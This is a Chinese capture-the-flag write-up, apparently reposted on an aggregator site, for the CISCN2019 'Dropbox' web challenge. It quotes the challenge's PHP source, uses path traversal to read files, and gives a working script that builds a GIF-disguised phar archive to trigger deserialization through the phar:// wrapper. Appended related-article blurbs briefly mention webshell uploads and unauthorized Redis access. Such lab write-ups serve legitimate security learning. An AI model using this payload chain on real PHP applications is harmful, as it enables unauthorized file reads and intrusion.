[CISCN2019 华北赛区 Day1 Web1]Dropbox 1

news2024/11/15 16:50:41

目录

  • 题目分析
    • 功能测试
    • 代码读取
      • index.php
      • download.php
      • delete.php
      • class.php
    • 关键代码审计
      • user类
      • FileList类
      • File类
      • 思路
  • 解题步骤
    • php脚本
    • 解题

题目分析

功能测试

注册登录后来到上传文件界面,通过改后缀,改文件头,改content-type,上传了一句话木马,但是后缀会被改为jpg,无法利用
对于上传的文件,有下载和删除的功能
在这里插入图片描述
抓包看看下载功能,可以读取/etc/passwd,没能读到flag
在这里插入图片描述
可以读取到页面的源代码

filename=../../index.php

代码读取

index.php

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

得知存在class.php

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

关键代码审计

主要利用class.php来得到flag

user类

public function __destruct() {
    $this->db->close();
}

可以通过这个析构函数调用其他类

FileList类

__call() 是一个特殊的魔术方法(magic method),用于在对象中调用一个不存在或不可访问的方法时自动调用。它允许类在运行时捕获对未定义方法的调用,从而实现动态方法调用的功能

File类

    public function close() {
        return file_get_contents($this->filename);
    }

通过这个函数读取文件
读到的文件在析构的时候可以显示出来
在这里插入图片描述

思路

user类–>$this->db->close()–>FileList类–>__call()–>File类–>close()
不存在反序列化,那如何实现调用呢?
链接:『PHP』phar文件详解_phar文件格式_调用phar类方法生成phar文件_php phar-CSDN博客

可以使用phar伪协议,meta-data保存信息,它是序列化后的信息,phar://伪协议可以让一些函数自动反序列化这个字段信息
不管文件后缀名是什么,都会按照.phar来解析
通过脚本,生成.phar文件,上传之后伪协议读取

解题步骤

php脚本

<?php

class User {
    public $db;
}

class FileList {
    private $files = array();
    public function __construct() {
        $file = new File();
        array_push($this->files,$file);
    }
}

class File {
    public $filename = '/flag.txt';
}

$phar=new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); 
$phar->addFromString('test.txt','test');  //添加要压缩的文件
$obj= new User();
$obj->db=new FileList();
$phar->setMetadata($obj); //将自定义的metadata存入manifest
$phar->stopBuffering();

?>

在同级目录下生成,phar文件
注意,将配置文件php.ini里边的phar.readonly设置为Off,去掉前面的分号

解题

将生成的文件后缀改为jpg后上传
在这里插入图片描述
点击删除并抓包,修改文件名(下载页面对flag字段有过滤)
得到flag

filename=phar://phar.jpg

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1975816.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何养护我们的头发一

正常头发含水量10-13% 头发含水量低 头发就会干燥 受到损伤 头发保水能力弱 保养头发,最重要的是防止头发头发的流水. 正确的洗涤方法 干性头发,一般3天洗一次 油性头发,一般1天洗一次 中性头发,一般2天洗一次 (2)正确的洗发步骤 选择好梳子建议选用木梳或牛角梳 按摩头皮…

释疑 803-(2)物理层 整理总结

目录 2-01 物理层要解决哪些问题?物理层的主要特点是什么? 2-02 规程与协议有什么区别? 2-03 试给出数据通信系统的模型并说明其主要组成构件的作用。 2-04 试解释以下名词&#xff1a;数据、信号、模拟数据、模拟信号、基带信号、带通信号、数字数据、数字信号、码元、…

PHP智能问诊导诊平台-计算机毕业设计源码75056

摘 要 智能问诊导诊平台作为一种智能化医疗服务工具&#xff0c;利用PHP语言开发&#xff0c;旨在为用户提供便捷的在线问诊和导诊服务。该平台集成了智能算法和医疗数据&#xff0c;实现了智能化的病情诊断和治疗建议&#xff0c;帮助用户更快速地获取医疗信息和建议。用户可…

未授权访问

一、Redis 未授权访问 redis-cli -h 192.168.4.176-p6379 &#xff08;使用这个连接&#xff09; 连接成功后使用info测试 二、MongDB 未授权访问 使用fofa搜mongdb端口复制ip到Navicat,连接 】 三、Zookeeper未授权访问漏洞 使用fofa 搜索2181端口使用下面命令在kali在…

5、SystemC行为级建模

1、sc_port关联sc_interface和channel。sc_module聚合sc_module、var、process和sc_port。sc_cthread和sc_method继承sc_thread。 sc_interface中声明很多虚函数&#xff0c;作为接口函数实现接口功能&#xff0c;如send()、recv()等。可以通过发送和接收模块的端口调用(sc_in…

CCF编程能力等级认证GESP—C++3级—20240629

CCF编程能力等级认证GESP—C3级—20240629 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09;判断题&#xff08;每题 2 分&#xff0c;共 20 分&#xff09;编程题 (每题 25 分&#xff0c;共 50 分)移位寻找倍数 单选题&#xff08;每题 2 分&#xff0c;共 30 分…

【基础篇】MySQL数据库详解:基础知识详解

一、SQL分类 1.DDL2.DML3.DQL4.DCL二、函数 1.字符串函数2.数值函数3.日期函数4.流程函数三、约束 1.概述2.约束演示3.外键约束四、多表查询 1.多表关系2.多表查询表述3.内连接4.外连接5.自连接6.子查询五、事务 1.事务简介2.事务操作3.事务四大特性4.并发事务问题5.事务隔离级…

C语言——求阶乘的两种方法

第一种方法使用了递归思想 #include <stdio.h> int fun(int N) {if (N 0){return 1;}else{return (fun(N - 1) * N);} } int main() {int N 0;scanf_s("%d", &N);printf("%d",fun(N)); } 第二种方法用的for循环 #include <stdio.h> i…

如何开启idea中的断言功能?

目录 一、什么是断言&#xff1f; 二、Java断言的语法 三、开启断言 一、什么是断言&#xff1f; 断言&#xff08;assert&#xff09;是 Java 中的一条语句&#xff0c;一种在程序中的逻辑&#xff08;如一个结果为真或假的逻辑判断式&#xff09;&#xff0c;目的是验证软…

Unity Shader unity文档学习笔记(十八):unity雾效原理

看很多文章用近平面远平面组成矩阵后转到裁剪空间下通过Z值来解&#xff0c;实际更简单的方式可以直接通过判断距离来实现 FogMgr控制远近面 public class TestFog : MonoBehaviour {public int startDis 0;public int endDis 50;public Vector4 fogParam;public void Awak…

springboot宠物宿舍管理系统-计算机毕业设计源码74795

目录 摘要 1 绪论 1.1 选题背景与意义 1.2国内外研究现状 1.3论文结构与章节安排 2系统分析 2.1 可行性分析 2.2 系统流程分析 2.2.1系统开发流程 2.2.2 用户登录流程 2.2.3 系统操作流程 2.2.4 添加信息流程 2.2.5 修改信息流程 2.2.6 删除信息流程 2.3 系统功能…

javascript:判断输入值是数字还是字母

1 代码示例 要判断输入值是数字还是字母&#xff0c;我们可以通过JavaScript获取输入框的值&#xff0c;然后使用isNaN函数来检查输入值是否为数字。 <!DOCTYPE html> <html><head><meta charset"UTF-8"><title></title><s…

第一阶段面试问题(后半部分)

1. c语言中const *p的用法 &#xff08;1&#xff09;const int *p; 或 int const *p; 指向常量整数的指针&#xff0c;通过这个指针不能修改它所指向的整数值&#xff0c;但可以修改指针本身来指向其他地址 const int a 10; const int *p &a; // *p 20; // 错误&…

商家拒单业务

文章目录 概要整体架构流程技术细节小结 概要 商家拒单是电子商务、外卖平台、在线零售等多个行业中可能出现的情况&#xff0c;指的是商家拒绝接受或完成某个订单。这种情况的发生可能由多种原因引起&#xff0c;同时也涉及到商家、平台和消费者的利益平衡。 需求分析以及接…

CTFHUB-XSS-反射型

开启题目&#xff0c;页面如下 先输入以下语句测试一下&#xff0c;发现页面弹出窗口显示“flag”&#xff0c;说明这里存在 XSS 漏洞 <script>alert("flag")</script> 验证存在 XSS 漏洞后&#xff0c;使用 document.cookie 语句在弹窗和控制台中输出当…

DOM案例

一.什么是DOM DOM(Document Object Model)文档对象模型的树形结构 说白了就是用js操作网页 使用方法: 1.找到对象 2.操作 操作网页 节点属性 改变网页内容.... 文档对象模型就是一个树形结构&#xff0c;类似于家谱树 html标签里面包裹了所有的文档内容。他是一个**父亲节…

用了组合式 (Composition) API 后代码变得更乱了,怎么办?

前言 组合式 (Composition) API 的一大特点是“非常灵活”&#xff0c;但也因为非常灵活&#xff0c;每个开发都有自己的想法。加上项目的持续迭代导致我们的代码变得愈发混乱&#xff0c;最终到达无法维护的地步。本文是我这几年使用组合式API的一些经验总结&#xff0c;希望…

【从相邻元素对还原数组】python刷题记录

R3-图篇 饭前一道题 思路&#xff1a; 单向构造 class Solution:def restoreArray(self, adjacentPairs: List[List[int]]) -> List[int]:mnlen(adjacentPairs)#n表示数组元素总数n1#统计dictdefaultdict(int)#存储关系哈希表hashmapdefaultdict(list)for a,b in adjacent…

DeDeCMS漏洞

一.登陆后台 二.文件管理上传shell 我们写一个一句话木马 然后上传 访问他 然后复制网址用工具连接 连接成功 修改模板文件拿shell 找到index.html修改 保存 然后进行下面的操作 访问返回的地址 然后用工具连接 三、后台任意命令执行拿shell 然后写入一个木马 添加成功 点击代…

开源:LLMCompiler高性能工具调用框架

开源&#xff1a;LLMCompiler高性能工具调用框架 LLMCompilerLLMCompiler 框架图任务提取单元使用方式参考链接 LLMCompiler LLMCompiler 是一种 Agent 架构&#xff0c;旨在通过在DAG中快速执行任务来加快 Agent 任务的执行速度。它还通过减少对 LLM 的调用次数来节省 Tokens …